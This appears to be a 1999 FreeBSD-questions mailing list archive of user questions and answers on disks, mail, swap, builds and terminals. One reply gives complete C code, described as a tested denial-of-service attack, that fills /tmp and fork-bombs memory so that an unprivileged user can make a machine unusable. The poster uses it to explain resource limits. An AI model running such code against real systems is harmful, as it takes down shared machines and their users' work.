> > ns /kernel: (da0:ahc1:0;0;0):tagged openings now 60
> > ns /kernel: (da0:ahc1:0;0;0):tagged openings now 59
> > ns /kernel: (da0:ahc1:0;0;0):tagged openings now 59
> > ns /kernel: (da0:ahc1:0;0;0):tagged openings now 58
> > ns /kernel: (da0:ahc1:0;0;0):tagged openings now 58
> 
> These are normal/informative - it's telling you the maximum number of
> tagged/queued commands your drive could handle at once... CAM will
> automatically 'tune' this figure to get the best the drive can support...
> 
> AFAIK these messages are 'off' by default in 3.1 unless you boot -verbose etc.
> 

In 3.1-STABLE.

-- 
Ruslan Ermilov		Sysadmin and DBA of the
ru@ucb.crimea.ua	United Commercial Bank
+380.652.247.647	Simferopol, Ukraine

http://www.FreeBSD.org	The Power To Serve
http://www.oracle.com	Enabling The Information Age


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From owner-freebsd-questions  Thu Mar 25  1:58:16 1999
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Date: Thu, 25 Mar 1999 20:56:18 +1100
From: David Hobley <davidh@wr.com.au>
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Hello,

I am trying to install FreeBSD on my Libretto using the 3.1 CDROM from
Walnut Creek.

I would like to install over the network using my ethernet. As a result
I tried to boot from DOS initially to get to the visual config screen.

When I run install.bat (after working out the fbsdboot.exe is in tools,
not the current dir) I get:

fbsdboot.exe -D kernel
Invalid format!

Can anyone help me fix the problem that is generating this cryptic
error?    

-- 
Cheers,
david		-- http://www.angelfire.com/wa/hobley


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From owner-freebsd-questions  Thu Mar 25  2:10:26 1999
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Date: Thu, 25 Mar 1999 12:01:31 +0200 (EET)
From: Charlie ROOT <root@sarvik.aripaev.ee>
To: Greg Lehey <grog@lemis.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: setting up 2 drive vinum
In-Reply-To: <19990319111346.F429@lemis.com>
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On Fri, 19 Mar 1999, Greg Lehey wrote:

> > How do I set up striped vinum drive from /dev/da1 & /dev/da2 ???
> 
> You could start by reading the manual pages.  If there's anything
> unclear there, tell us about it and I'll explain.

I read them, made 2 volumes, both consisting of 1 plex and 2 subdisks.
Newfs'ed it, copied some data, added to /etc/fstab, added drives to
/etc/rc.conf... rebooted and ... "vinum: no drives found" 
So I tried one more time with same results... 
 
> > Is there any advantage over CCD ?
> 
> Yes.  It's described in the manual pages.

Advantages seem to become obvious with more than 2 drives, but I saw one
disadvantage - I could not just use the whole drive, but have to
explicitly state how many megs the subdisk has.



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From owner-freebsd-questions  Thu Mar 25  2:16:33 1999
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	Thu, 25 Mar 1999 20:45:47 +1030 (CST)
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Date: Thu, 25 Mar 1999 20:45:47 +1030
From: Greg Lehey <grog@lemis.com>
To: Charlie ROOT <root@sarvik.aripaev.ee>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: setting up 2 drive vinum
References: <19990319111346.F429@lemis.com> <Pine.BSF.4.10.9903251152120.31990-100000@sarvik.aripaev.ee>
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On Thursday, 25 March 1999 at 12:01:31 +0200, Charlie ROOT wrote:
> On Fri, 19 Mar 1999, Greg Lehey wrote:
>
>>> How do I set up striped vinum drive from /dev/da1 & /dev/da2 ???
>>
>> You could start by reading the manual pages.  If there's anything
>> unclear there, tell us about it and I'll explain.
>
> I read them, made 2 volumes, both consisting of 1 plex and 2 subdisks.
> Newfs'ed it, copied some data, added to /etc/fstab, added drives to
> /etc/rc.conf... rebooted and ... "vinum: no drives found"
> So I tried one more time with same results...

You did something wrong.

>>> Is there any advantage over CCD ?
>>
>> Yes.  It's described in the manual pages.
>
> Advantages seem to become obvious with more than 2 drives, but I saw one
> disadvantage - I could not just use the whole drive, but have to
> explicitly state how many megs the subdisk has.

No, you don't need to do that with the latest version.

Greg
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From owner-freebsd-questions  Thu Mar 25  2:27:12 1999
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	Thu, 25 Mar 1999 03:26:27 -0700 (MST)
Date: Thu, 25 Mar 1999 03:26:27 -0700
From: Steve Carter <scarter@globalcenter.net>
To: trout2 <trout2@advancenet.net>
Cc: Freebsd <freebsd-questions@FreeBSD.ORG>
Subject: Re: using fetchmail
Message-ID: <19990325032627.A7607@globalcenter.net>
References: <36F9C2C2.4EC1DBA3@lvdi.net> <Pine.BSF.4.05.9903250307540.1236-100000@trout.in.the.milky.way.org>
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Fetchmail 'pops' your mail and then delivers it to you via port 25 and
whatever SMTP mail software you listening there, usually sendmail.  The
SMTP mail software puts the mail wherever your system is configured to put
it, usually /var/mail/<username>.  This is excellent, because if you use
procmail, or some other mail filtering/dispositioning software, it works
riggh out of the box without non-standard configuration.

I don't want this to sound too snotty, but your question about whether
/var/mail will fill up is stupid.  A general rule about file systems (and
just about anything else for that matter): 

'If you continue to put stuff in them, and never remove anything they will
eventually fill up and the time it takes to fill up depends on how big
it is and how fast you put stuff in'.

Therefore, if you read your mail and delete the stuff you don't want any
longer then, chances are, your /var filesystem will not fill up.  If you
are really concerned, us the 'df' utility to watch your filesystem usage
and start deleting/moving emails if the file system utilization gets
scary.

-Steve

trout2 wrote:
> 
> hey there:
> 
>  i have just set up my machine to download my mail from my isp using
> fetchmail. i have two questions:
> 
> where does fetchmail put the mail
> and
> do i need to periodically delete mail that builds up in this place?
> 
> i'm pretty sure that it puts the messages in /var/mail
> but will this fill up eventually?
> 
> thanks
> -aaron
> 
> 
> 
> 
> 
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From owner-freebsd-questions  Thu Mar 25  2:52:35 1999
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Date: Thu, 25 Mar 1999 12:44:29 +0200 (EET)
From: Charlie ROOT <root@sarvik.aripaev.ee>
To: Greg Lehey <grog@lemis.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: setting up 2 drive vinum
In-Reply-To: <19990325204547.Z425@lemis.com>
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On Thu, 25 Mar 1999, Greg Lehey wrote:

> > /etc/rc.conf... rebooted and ... "vinum: no drives found"
> > So I tried one more time with same results...
> 
> You did something wrong.

Well, maybe, what I did was:
1.
vinum -> create vinumconf

vinumconf:
     drive drive1 device /dev/da1s1
     drive drive2 device /dev/da2s1
     drive drive3 device /dev/da3s1
     drive drive4 device /dev/da4s1
     # A volume with one striped plex
     volume vol1
      plex org striped 512b
       sd length 2033m drive drive1
       sd length 2033m drive drive3
     volume vol2
      plex org striped 512b
       sd length 4067m drive drive2
       sd length 4067m drive drive4

2.
init both plexes (it took some time)

3.
newfs /dev/vinum/vol1 (some time)
newfs /dev/vinum/vol2 --""--

4.
replaced /usr/local with vol1
mount /dev/vinum/vol1 /mnt
cp -Rp /usrl/local/* /mnt/
umount /mnt
mount /dev/vinum/vol1 /usr/local

5.
replaced /home with vol2

6.
checked newly mounted /home and /usr/local sizes, counted files...

now everything _was_ OK

...but it was not after boot (shutdown -r now)

...i'm running 3.1-STABLE...



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From owner-freebsd-questions  Thu Mar 25  3: 6:46 1999
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Date: Thu, 25 Mar 1999 12:09:22 +0100
From: David Ramahefason <rama@proxad.net>
To: freebsd-questions@freebsd.org
Cc: freebsd-stable@freebsd.org
Subject: Problem in compile Stable Branch
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Hi ... does anyone knows how to solve this problem ???
This occurs even with a freshly installed source tree...

Please answer via email thx.


>>> Rebuilding tools necessary to build the include files
--------------------------------------------------------------
cd /usr/src; PATH=/usr/obj/usr/src/tmp/sbin:/usr/obj/usr/src/tmp/usr/sbin:/usr/obj/usr/src/tmp/bin:/usr/obj/usr/src/tmp/usr/bin:/usr/X11R6/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/home/rama/bin BISON_SIMPLE=/usr/obj/usr/src/tmp/usr/share/misc/bison.simple  COMPILER_PATH=/usr/obj/usr/src/tmp/usr/libexec:/usr/obj/usr/src/tmp/usr/bin  GCC_EXEC_PREFIX=/usr/obj/usr/src/tmp/usr/lib:/usr/obj/usr/src/tmp/usr/lib/  LD_LIBRARY_PATH=/usr/obj/usr/src/tmp/usr/lib  LIBRARY_PATH=/usr/obj/usr/src/tmp/usr/lib:/usr/obj/usr/src/tmp/usr/lib NOEXTRADEPEND=t  OBJFORMAT_PATH=/usr/obj/usr/src/tmp/usr/libexec:/usr/libexec /usr/obj/usr/src/tmp/usr/bin/make DESTDIR=/usr/obj/usr/src/tmp -f Makefile.inc1 include-tools
cd /usr/src/usr.bin/compile_et; /usr/obj/usr/src/tmp/usr/bin/make cleandepend;  /usr/obj/usr/src/tmp/usr/bin/make -DWORLD -DNOINFO -DNOMAN -DNOPIC -DNOPROFILE -DNOSHARED cleandepend;  /usr/obj/usr/src/tmp/usr/bin/make -DWORLD -DNOINFO -DNOMAN -DNOPIC -DNOPROFILE -DNOSHARED all;  /usr/obj/usr/src/tmp/usr/bin/make -DWORLD -DNOINFO -DNOMAN -DNOPIC -DNOPROFILE -DNOSHARED -B install cleandir obj
rm -f .depend /usr/obj/usr/src/usr.bin/compile_et/GPATH /usr/obj/usr/src/usr.bin/compile_et/GRTAGS  /usr/obj/usr/src/usr.bin/compile_et/GSYMS /usr/obj/usr/src/usr.bin/compile_et/GTAGS
rm -f .depend /usr/obj/usr/src/usr.bin/compile_et/GPATH /usr/obj/usr/src/usr.bin/compile_et/GRTAGS  /usr/obj/usr/src/usr.bin/compile_et/GSYMS /usr/obj/usr/src/usr.bin/compile_et/GTAGS
cc -O -pipe -I. -I/usr/src/usr.bin/compile_et/../../lib/libcom_err   -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/usr.bin/compile_et/compile_et.c
lex -t  -l /usr/src/usr.bin/compile_et/et_lex.lex.l > et_lex.lex.c
yacc  -o error_table.c /usr/src/usr.bin/compile_et/error_table.y
cc -O -pipe -I. -I/usr/src/usr.bin/compile_et/../../lib/libcom_err   -I/usr/obj/usr/src/tmp/usr/include -c error_table.c
cc -O -pipe -I. -I/usr/src/usr.bin/compile_et/../../lib/libcom_err   -I/usr/obj/usr/src/tmp/usr/include  -static -o compile_et compile_et.o error_table.o  -ll
error_table.o: In function `yylex':
error_table.o(.text+0x7d3): undefined reference to `yywrap'
error_table.o: In function `input':
error_table.o(.text+0xd48): undefined reference to `yywrap'
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.
*** Error code 1

Stop.


-- 
/David Ramahefason                                            /
/rama@netfacile.net        http://casimir.proxad.net/Images/


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From owner-freebsd-questions  Thu Mar 25  3:17:17 1999
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From: Langa Kentane - MWeb <LKentane@mweb.com>
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: Pop3 commands
Date: Thu, 25 Mar 1999 13:09:37 +0200
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Where can I get a complete listing of all the pop3 & smtp commands
what a brief explanation of what they do.

Thanks in advance
Langa

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From owner-freebsd-questions  Thu Mar 25  3:17:42 1999
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Date: Thu, 25 Mar 1999 21:12:02 +1000
From: Greg Black <gjb@comkey.com.au>
To: "Scott I. Remick" <scott@computeralt.com>
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Out of Swap Space hangs system 
References: <Pine.BSF.4.05.9903232021440.76938-100000@gwdu60.gwdg.de> <Pine.BSF.4.05.9903232021440.76938-100000@gwdu60.gwdg.de> <4.2.0.32.19990323175122.0370cf00@mail.computeralt.com> 
In-reply-to: <4.2.0.32.19990323175122.0370cf00@mail.computeralt.com> 
    of Tue, 23 Mar 1999 17:55:12 EST
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> >It's not a serious problem -- a properly setup Unix
> >system will never crash from lack of swap.
> 
> Well, ok... so what are the proper setup steps to ensure a system will not 
> crash when the swap fills?  My system in question has a 50MB swap partition 
> and 16MB of physical RAM.  I've tried to take further steps to prevent my 
> swap from filling in the first place, but should it still happen sometime, 
> I want to be prepared.

It's impossible to advise you on the basis of the information
you have provided.  How many users are there?  Do they use X?
Do they run compilers?  Do they waste resources with C++?  How
many do these things at any one time?  Are there other resource
hogs that I haven't mentioned?  Generally, the less real memory
you have, the more swap you need if there is any actual work
being done.  On the other hand, if there's any real work to be
done on such a machine, people will find another machine if it's
that dependent on swap.  The best indicator of correct setup is
when the swap is rarely ever touched.  Most of my current BSD
boxes have 256 MB of swap whether they need it or not.  Here are
the results of pstat -s on five of them:

Device      1K-blocks     Used    Avail Capacity  Type
/dev/sd0s1b    262144   142332   119748    54%    Interleaved
/dev/sd0s1b    262144        0   262080     0%    Interleaved
/dev/sd0s1b    262144     2812   259268     1%    Interleaved
/dev/sd0s1b    262144     2604   259476     1%    Interleaved
/dev/sd0s1b    262144        0   262080     0%    Interleaved

The top one was being used for some weird stuff shortly after it
was brought up and in fact has not touched its swap since the
first day it was up (but you can't tell that from this display).

This is not much of answer, but it's not a question that lends
itself to simplistic answers -- you have to assess your
situation and then take a guess.  If it's important to you that
the machines don't fall over while you're getting a feel for
things, work out carefully how much swap you need and then
triple it.  See how you go.  If that's enough and you can live
with it, leave it set that way.

I never change the swap once I've set it up.  One of my BSD
boxes was setup about ten years ago.  Each time I added a disk,
I added more swap.  But it still has less than I'd give a
machine that had interactive users now.  But it has no
interactive users and no X and no compilers (it's quicker to
compile on something else and copy the executables across, as
this box in its latest incarnation is a 33 Mhz 486):

Device name  1K-blocks  Type
wd0b             31740  Interleaved
wd1b             48852  Interleaved
sd0b               441  Sequential
9328 (1K-blocks) allocated out of 81033 (1K-blocks) total, 12% in use

It's a different BSD too, but you can interpret the output
easily enough.  There's actually another disk in there, but it
went flaky about 18 months ago and so it's currently disabled.
When I pull the dead tape drive, I might do something about that
disk.  The silly swap space on the SCSI disk has a historical
reason, but it's not worth telling that story here.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Thu Mar 25  3:17:44 1999
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From: Greg Black <gjb@comkey.com.au>
To: Konrad Heuer <kheuer@gwdu60.gwdg.de>
Cc: "Scott I. Remick" <scott@computeralt.com>,
	FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Out of Swap Space hangs system 
References: <Pine.BSF.4.05.9903241014490.78968-100000@gwdu60.gwdg.de> 
In-reply-to: <Pine.BSF.4.05.9903241014490.78968-100000@gwdu60.gwdg.de> 
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> > > > Is it normal for running out of swap space to hang the system?
> > >
> > > Unfortunately, yes.
> >
> > Right, so far.
> >
> > > It should not be, especially for a server OS.
> >
> > By all means provide an algorithm to solve it, if it concerns
> > you.  I think you'll find it's non-trivial.
>
> You're right, no doubt; it's not trivial. And the problem will not prevent
> me from using and recommending FreeBSD.

Since all Unix variants are susceptible to this, there would be
little point in singling out any particault variant to avoid.

> > It's not a serious problem -- a properly setup Unix system will never
> > crash from lack of swap.  I've been running Unix machines for the best
> > part of 20 years and never seen a panic from lack of swap.  Some of
> > those machines had 0.5 MB of RAM and a single 50 MB disk, supported
> > several users in a commercial environment and only ever fell over when
> > somebody yanked the power cord.
> 
> None of my FreeBSD systems crashed because of lack of swap in normal
> operation mode. But in principle it's easy to crash them as an
> unprivileged user. Just write a piece of C code which allocates m MB of
> memory, forks p times and writes to allocated memory in each process. Will
> m times p fit into the total virtual memory? Maybe, if you set rigorous
> per-process limits. But if you do, you might also prevent users from doing
> reasonable tasks. Or have I overlooked something?

It all depends on your definition of reasonable and on who your
users are.  If they're people who might delight in bringing a
machine to its knees, then they need limits.  If they are sane
and responsible and their work requires them to have a fair
crack at the machine's resources, then they don't need limits.

You are correct in your scenario for wrecking a machine.  The
following code, run by a normal user on a Celeron-300A box with
64 MB of memory, a 64 MB /tmp MFS, and 256 MB of swap rendered
the machine (a sacrificial box I keep for these stunts) useless
in less than a second.  You could still ping it normally for
about ten minutes and it never crashed but it could only be
rescued by the reset button.  Possibly, if I had the kernel
debugger installed or had enabled keyboard reboots, there might
have been another way out, but I can't be bothered exploring
that.  At any rate, look at this code for a perfect denial of
service attack (tested and guaranteed):

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

#define	MB	(1024 * 1024)

int main(void)
{
  int	i, j, k, fd;
  char	*p;

  /* Start off by filling /tmp in case it's an MFS, assume 1 GB is enough. */
  if ((fd = open("/tmp/xxx", O_CREAT | O_WRONLY, 0600)) < 0)
    return 1;
  if ((p = malloc(MB)) == NULL)
    return 1;
  for (i = 0; i < 1024; ++i)
    if (write(fd, p, MB) < MB)
      break;

  /* Fork up to 1 K children who will allocate and use between 1 and 64 MB */
  for (i = 0; i < 1024; ++i)
    switch (fork()) {
      case 0:
	for (j = 64; j > 0 && (p = malloc(j * MB)) == NULL; j /= 2)
	  ;
	for (k = 0; k < j * MB; ++k)
	  p[k] = k & 0x7F;
	return j ? 0 : 1;
      case -1:
	return 1;
      default:
	break;
    }
  
  /* We'll never get here, but let's pretend... */
  return 0;
}

It's just possible that there's some trivial bug in the above,
since I typed it from memory after testing the original code
which was on the MFS of the box I used for the test.  But I
think I got it right :-)

So how does this sit with my claim that properly setup Unix
boxes never crash from lack of swap?  (Let's ignore the
technicality that this machine didn't really crash, since it
might as well have for all the use it was.)  The key words are
"properly setup" -- and "proper" setup includes correct
assessment of the kinds of users and the type of use they make
as well as allocation of adequate resources to ensure that the
machine won't fail to perform as required.  So, although I know
how to bring a machine to its knees, I'd never do it by accident
and my users either have restrictions that prevent them from
doing it or have enough sense not to try.

In the end, no system is immune from dedicated efforts to bring
it down, provided those making the efforts have adequate access
to its resources and sufficient know-how to carry out the task.
This doesn't mean that reasonably-designed systems will be
falling over every day because of flaws in their design.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Thu Mar 25  3:48:35 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from iworks.interworks.org (iworks.interworks.org [128.255.18.10])
	by hub.freebsd.org (Postfix) with ESMTP id 2148814D20
	for <freebsd-questions@FreeBSD.ORG>; Thu, 25 Mar 1999 03:48:29 -0800 (PST)
	(envelope-from deischen@iworks.interworks.org)
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	by iworks.interworks.org (8.8.7/8.8.7) id FAA22154;
	Thu, 25 Mar 1999 05:55:17 -0600 (CST)
Date: Thu, 25 Mar 1999 05:55:17 -0600 (CST)
From: "Daniel M. Eischen" <deischen@iworks.interworks.org>
Message-Id: <199903251155.FAA22154@iworks.interworks.org>
To: walton@emusic.com
Subject: Re: MySQL mysql-3.22.20a FreeBSD 3.1
Cc: freebsd-questions@FreeBSD.ORG, joseph@randomnetworks.com
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> Based on the info in the Makefile for the 3.22.19b port and the 
> MySQL docs, I'd avoid native threads still.

You mean:

        @${ECHO} "Warning: There are still some bugs in libc_r which prevent"
        @${ECHO} "         'mysqladmin shutdown' from working properly."

I think this problem was fixed many months ago and had to do with
an improper sigwait (or missing) implementation.  The sigwait
should work fine now.



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From owner-freebsd-questions  Thu Mar 25  3:53:26 1999
Delivered-To: freebsd-questions@freebsd.org
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	Thu, 25 Mar 1999 06:53:00 -0500 (EST)
Date: Thu, 25 Mar 1999 06:52:54 -0500 (EST)
From: Patrick Seal <patseal@hyperhost.net>
To: Rob <drifter@stratos.net>
Cc: questions@FreeBSD.ORG
Subject: Re: BACKSPACE v. DELETE
In-Reply-To: <19990324220533.A41467@stratos.net>
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Add 

stty erase ^H             make sure it's literal (^V)

to your shell configuration files and it will always be that, no matter
what.

------------------------------------ _____________________________________
Patrick Seal                        |"Microsoft isn't evil, they just make
<patseal@hyperhost.net>             |   really crappy operating systems."
Hyperhost - http://www.hyperhost.net| -Linus Torvalds
hosting and Design

http://www.freebsd.org - http://www.linux.org




On Wed, 24 Mar 1999, Rob wrote:

> 
>      Hi guys,
> 
>      I got a puzzle here.  I'm having problems with getting my xterms
> to properly interpret my BACKSPACE (^H) character as the erase character.
> It gets kind of complicated, and I'll try to be brief.  I'm using KDE
> as my desktop manager.
> 
>      o When I log in through character-based getty/login and then use
>        `startx &' from the command line, launching xterm from KDE works
>        fine. An `stty -a | grep erase' reveals that my erase key is
>        properly set to ^H.
>      o But when I launched either kvt or konsole under KDE under the
>        above circumstances, an `stty -a | grep erase' shows that erase
>        is set to ^?.
> 
>      Okay, so it has to do with the KDE terminals, right?  Except:
> 
>      o When I log in through kdm, both kvt and konsole behave as previous
>        described.
>      o But, unfortunately, under xterm the erase key is ALSO set to
>        ^?.
> 
>      So, the method of starting my X session is, apparently, a
> factor as well.
>      I know that child processes inherit stty settings, so when I log in
> with a character-based terminal (and erase is properly set to BACKSPACE),
> a `startx' allows my X session and all of its children to properly
> inherit the settings.  So, this is what I figured:
> 
>      o The getty/login processes sets stty erase to ^H and kdm sets it
>        to DELETE.  So, if you launch X-windows with startx, you inherit
>        ^H and from kdm DELETE.
>      o kvt and konsole are overriding default terminal settings (yet I
>        can't figure out how to set either KDE terminal emulators to
>        the proper defaults.  They only provide options to convert a BACKSPACE
>        to DELETE.)
> 
>      So, how do I solve this problem, so all graphical terminals have the
> proper settings by default without resulting to a complex series of aliases
> and configuration files?
>      Launching these terminals by default doesn't read .profiles (or
> .zprofiles).  I tried `stty erase ^H' in my xsession, but that doesn't
> work.  I tried logging in with different desktop/window managers and
> still have the same problem.
>      I looked at login.conf to get some clues, but could find nothing there.
> Is there anywhere that I missed?
> 
>      -Rob
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Thu Mar 25  5:19:48 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from lab.cba.ualr.edu (lab.cba.ualr.edu [144.167.120.221])
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	Thu, 25 Mar 1999 07:19:53 -0600
Date: Thu, 25 Mar 1999 07:19:27 -0600 (EST)
From: joe <joe@lab.cba.ualr.edu>
X-Sender: joe@lab.cba
To: Ulairi <ulairi@jps.net>
Cc: Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: FreeBSD on an Alpha box
In-Reply-To: <000301be767e$025786c0$97c4edd0@default>
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On Wed, 24 Mar 1999, Ulairi wrote:

> More then likely, this has been posted already, so forgive the
> repetitiveness of it, but where would I find instructions on installing
> FreeBSD 3.1-Stable on an Alpha box?
> 
> 

http://www.freebsd.org/FAQ/FAQ245.html#247



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From owner-freebsd-questions  Thu Mar 25  5:23:30 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 20:31:39 +0700 (JAVT)
From: Benkbenk <hacky@ti.itb.ac.id>
To: Thomas Bentz <thefett@negativemass.com>
Cc: questions@FreeBSD.ORG
Subject: Re: Changing the IP address on a FreeBSD machine?
In-Reply-To: <36F9EDAE.3990FAC3@negativemass.com>
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On Thu, 25 Mar 1999, Thomas Bentz wrote:

> Can someone tell me the procedures of changing the IP address on a
> machine??  Thanks in advance
> 

You can use ifconfig command or change it in /etc/rc.conf
For detail how to use ifconfig, use man ifconfig



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From owner-freebsd-questions  Thu Mar 25  5:29: 9 1999
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Date: Thu, 25 Mar 1999 10:29:41 +0000
From: Gustavo V G C Rios <grios@netshell.com.br>
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Does anybody here runs oidentd as a auth daemon?
I compiled and installed it, but when any system connect to my host, it
closes the connections!
Another problem: it complains about missing CR-LF, i have already seen
the RFC about auth daemon, but there is some thing strange going on
here!
It only complains about missing CR-CF when i, for instance, ftp
localhost, but when i ftp my machine from a remote host, this problem
does not happen!

Why oidentd complains about missing CR-LF only from localhost?
Why i closes connection same time it's opened ?


Thank you for your time and cooperation!


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From owner-freebsd-questions  Thu Mar 25  5:42:31 1999
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	(envelope-from brane@frida.mra.si)
Date: Thu, 25 Mar 1999 14:38:12 +0100 (CET)
From: Branko Kmetec <brane@mra.si>
To: freebsd-questions@freebsd.org
Subject: Web interface for poppassd
Message-ID: <Pine.BSF.3.96.990325143623.24959A-100000@frida.mra.si>
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I'm looking web interface for poppassd. Any idea?

Brane



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From owner-freebsd-questions  Thu Mar 25  6: 2:48 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from Robert.High@delta-air.com)
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Message-ID: <573B9F40F07ED21189BA002048402351E8FADE@satlmsgusr05.delta-air.com>
From: "High, Robert" <Robert.High@delta-air.com>
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: RE: I am having a problem making a custom kernel
Date: Thu, 25 Mar 1999 09:02:27 -0500
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I fixed it.  I w2as missing some files.  After I installed the needed files,
it worked like a champ.  Thanks for getting back to me so soon.  Have a
great day.


Robert R. High III, MCSE
Delta Technology
Systems Engineer
Enterprise Security Engineering
(404)773-9808


-----Original Message-----
From: Lowell Gilbert [mailto:lowell@world.std.com]
Sent: Wednesday, March 24, 1999 5:38 PM
To: High, Robert
Subject: Re: I am having a problem making a custom kernel


"High, Robert" <Robert.High@delta-air.com> writes:

> I made my custom kernel, and do the config. Its does that fine but when I
do
> the Make depend I get a bunch of messages and it gives me an ERROR 1.  I
> cant do any of the other Makes as well.  It appears to be an issue with
the
> libraries.  Any suggestions?

Yes.  List the *compiler* error that stops the make.
The "Error 1" is a make error, and all it tells us is that something
returned an error to the make program...


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From owner-freebsd-questions  Thu Mar 25  6: 2:57 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 14:02:02 +0000
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From: Michael Doyle <relyod@co-operation-ireland.ie>
Subject: Install routine
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Hi

I would like to install FreeBSD 2.2.7 (cause that's the CD Set I have) onto
a notebook which has no CD ROM drive.

I do have an NE2000 clone PCMCIA ethernet adapter.

Can I get the computer in question to load the OS via
FTP using this network card?

PS: please reply directly to me as well as to the list :-)

<>< ============================================================ ><>
Michael Doyle                    email: relyod@co-operation-ireland.ie
Network Administrator            personal email:    relyod@indigo.ie
Co-operation Ireland	  http://www.co-operation-ireland.ie/
Phone: +353-1-661 0588                          Fax: +353-1-661 8456

*********************************************************************


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From owner-freebsd-questions  Thu Mar 25  6:11:49 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from obonilla)
Date: Wed, 24 Mar 1999 22:11:08 -0600
From: Oscar Bonilla <obonilla@fisicc-ufm.edu>
To: attila <attila@hun.org>
Cc: freebsd-questions@freebsd.org
Subject: Re: make world fails
Message-ID: <19990324221108.A1069@fisicc-ufm.edu>
References: <19990324193530.A71967@fisicc-ufm.edu> <Pine.BSF.4.05.9903250242090.1485-100000@hun.org>
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On Thu, Mar 25, 1999 at 02:43:17AM +0000, attila wrote:
> On Wed, 24 Mar 1999, Oscar Bonilla wrote:
> 
> *while making world, an install -c of chap-auth in /usr/share/examples/ppp
> *fails because the directory ppp does not exist under /usr/share/examples
> *i think that directory was recently added.
> *
> *mkdir /usr/share/example/ppp seemed to fix the problem
>                   ^^^^^^^
> 
>     should be 'examples', I believe
>                       ^

yes, it was a typo.

thanks,

-oscar


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From owner-freebsd-questions  Thu Mar 25  6:18:34 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from bob)
Date: Thu, 25 Mar 1999 08:18:12 -0600
From: Bob Willcox <bob@luke.pmr.com>
To: questions list <freebsd-questions@freebsd.org>
Subject: Poor performance with /usr/sbin/rmt
Message-ID: <19990325081812.B79811@luke.pmr.com>
Reply-To: Bob Willcox <bob@pmr.com>
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I am seeing incredibly poor performance when attempting to dump remotely
from one system to another (both are 3.1-stable as of about a week ago).
The command I am using is:

    dump -0ab 32 -f luke:/dev/rsa0

When doing this I get a performance of less than 50KBs.  This is to an
Exabyte 8505XL tape drive which is capable of at least 500KBs when not
compressing (though I am).  If I, instead, pipe it through rsh to dd
like this:

    dump -0ab 32 -f- / | rsh luke 'dd bs=32k of=/dev/rsa0

I get appx 500KBs (as expected).  Does anybody have any ideas on what's
going on here?  Should I simply give up on rdump and stick to the rsh
approach?

Thanks,
Bob

-- 
Bob Willcox             The man who follows the crowd will usually get no
bob@luke.pmr.com        further than the crowd.  The man who walks alone is
Austin, TX              likely to find himself in places no one has ever
                        been.            -- Alan Ashley-Pitt


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From owner-freebsd-questions  Thu Mar 25  6:55:59 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 09:55:38 -0500 (EST)
From: Snob Art Genre <benedict@echonyc.com>
Reply-To: ben@rosengart.com
To: questions@freebsd.org
Subject: 3.0-RELEASE to 3.1-STABLE
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So, I installed 3.0-RELEASE, and I'd like to upgrade to 3.1-STABLE.  

I've been off the lists for a bit due to lack of time, though I'm
reading -hackers again (at the expense of BUGTRAQ, sigh).  What's the
deal with standard-supfile and stable-supfile?  I would think that
standard would get 4.0 and stable would get 3.x, but the stable-supfile
shipped with 3.0 has references to 2.x.

Also, where can I find docs on setting up the new bootblocks?  I cvsup'd
using the standard-supfile, and when I built a new kernel, make warned
me that I'd better get my bootblocks right before installing it.  
However, the web page that the makefile pointed me to was not so
helpful.

Are there any changes I need to make in /etc by hand to come up to 3.1
from 3.0?

Thanks in advance.


 Ben

"You have your mind on computers, it seems." 



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From owner-freebsd-questions  Thu Mar 25  7: 5: 6 1999
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From: "Michael Kirchner" <kirchner@callcenter.systemhaus.net>
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unsubcribe freebsd-questions M.Kirchner@gmx.de
Michael Kirchner
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From owner-freebsd-questions  Thu Mar 25  7:10:11 1999
Delivered-To: freebsd-questions@freebsd.org
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	for <questions@freebsd.org>; Thu, 25 Mar 1999 07:10:04 -0800 (PST)
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Date: Thu, 25 Mar 1999 10:10:00 -0500
From: Dave Hummel <dnh@pce.net>
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Hi,

I'd like to create a FreeBSD mail application that would replace our
current Netscape products (Messaging Server using ldap from Directory
Server running on Solaris). This will be opensource with FreeBSD users in
mind first. 

The plan now is to use sendmail, Cyprus, and openldap to create a basic
ldap-enabled mail system which will eventually be wrapped with SSL (all
with a spiffy interface of course).  (Has this been done already?) 

I'm sure I can hack this together, but it would require more
experience/knowledge than I have to make this a high-quality, portable
piece of work rather than something that is half-assed and
site-specific. 

Someone on this list expressed interest in software like this so I think
this may actually benefit some folks. 

I'm building this out of necessity no matter what, but if anyone else is
interested in working on such a project, please let me know. 

What needs to be done as I see it:  
What: Decide on a good overall model for the directory services provided
	by slapd, Create templates for such a model.  
Who: Someone experienced with handling email services for large sites or
	someone familiar with using ldap in general. 

What: Create Makefile/port of ldap-enabled Sendmail-8.93 using this model
Who: Someone experienced with sendmail customization and creating ports

What: ldapify Cyrus 
Who: Probably the main issue is familiarity with Cyrus's handling of
	users, mailboxes,  etc. ldapification of these functions appears
	to be pretty straightforward. 

